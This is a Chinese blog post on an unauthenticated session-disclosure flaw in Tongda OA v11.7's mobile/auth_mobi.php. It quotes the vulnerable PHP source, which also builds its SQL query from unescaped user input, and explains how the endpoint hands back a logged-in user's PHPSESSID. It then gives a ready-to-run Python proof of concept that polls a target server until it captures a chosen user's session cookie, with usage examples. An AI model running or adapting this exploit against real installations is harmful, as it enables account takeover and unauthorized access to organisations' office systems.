本文就介绍了通达OA v11.7 在线用户登录漏洞利用方法,及自己写的poc。
# 一、漏洞描述
通达OA v11.7 中webroot\mobile\auth_mobi.php接口存在漏洞,无验证即可查询某个用户是否在线并返回PHPSESSION值使其可登录后台系统。
二、漏洞影响
通达OA < v11.7
三、漏洞复现
通达oa的源码需要使用SeayDzend解密
定位到漏洞文件 \webroot\mobile\auth_mobi.php
代码比较少就直接贴出来:
<?php
function relogin()
{
echo _("RELOGIN");
exit();
}
ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility.php";
if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {
$sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";
$cursor = exequery(TD::conn(), $sql);
if ($row = mysql_fetch_array($cursor)) {
$P = $row["SID"];
}
}
if ($P == "") {
$P = $_COOKIE["PHPSESSID"];
if ($P == "") {
relogin();
exit();
}
}
if (preg_match("/[^a-z0-9;]+/i", $P)) {
echo _("非法参数");
exit();
}
if (strpos($P, ";") !== false) {
$MY_ARRAY = explode(";", $P);
$P = trim($MY_ARRAY[1]);
}
session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
relogin();
}
?>
看13行代码这里,url后面跟上三个参数,
- isAvatar=1
- uid 不为空,需要查谁就填对应用户的uid
- P_VER 不为空 表示登录设备类型
17行代码这里会返回SID字段,也就是session id
22行这里判断返回的sid字段为空时,获取当前在线用户的PHPSESSID赋值(不在线返回空)给 P
如果 P 还是为空就调用relogin() 输出 RELOGIN
如果查询返回的sid字段不回空,并赋值给P
41行代码会将P设置为会话ID
这样我们就得到了header中Set-Cookie值
在线时:
不在线时:
四、漏洞利用POC
无限循环发起请求,获取到PHPSESSID自动停止
import requests
import sys
import re
import time
def poc(url,uid):
url = f'{url}/mobile/auth_mobi.php?isAvatar=1&uid={uid}&P_VER=0'
while True:
res = requests.get(url)
if res.status_code == 200:
if res.text == '':
cookies = re.findall(r'PHPSESSID=(.*?);', str(res.headers))
print('[+]目标在线,PHPSESSID=' + cookies[0])
break
if 'RELOGIN' in res.text:
print('[+]目标用户不在线')
time.sleep(2)
def main(argv):
print('------------------------------------------')
print('[+]适用版本:通达OA 11.7 ')
print('[+]使用格式: python3 poc.py url uid')
print('------------------------------------------')
poc(argv[0],argv[1])
if __name__ == '__main__':
main(sys.argv[1:])
使用方法:python3 .\1.py ip uid
例如:python3 .\1.py http://192.168.230.130 12
五、总结
下载地址:通达oa 11.7下载链接
有什么不对的地方,请大佬们指出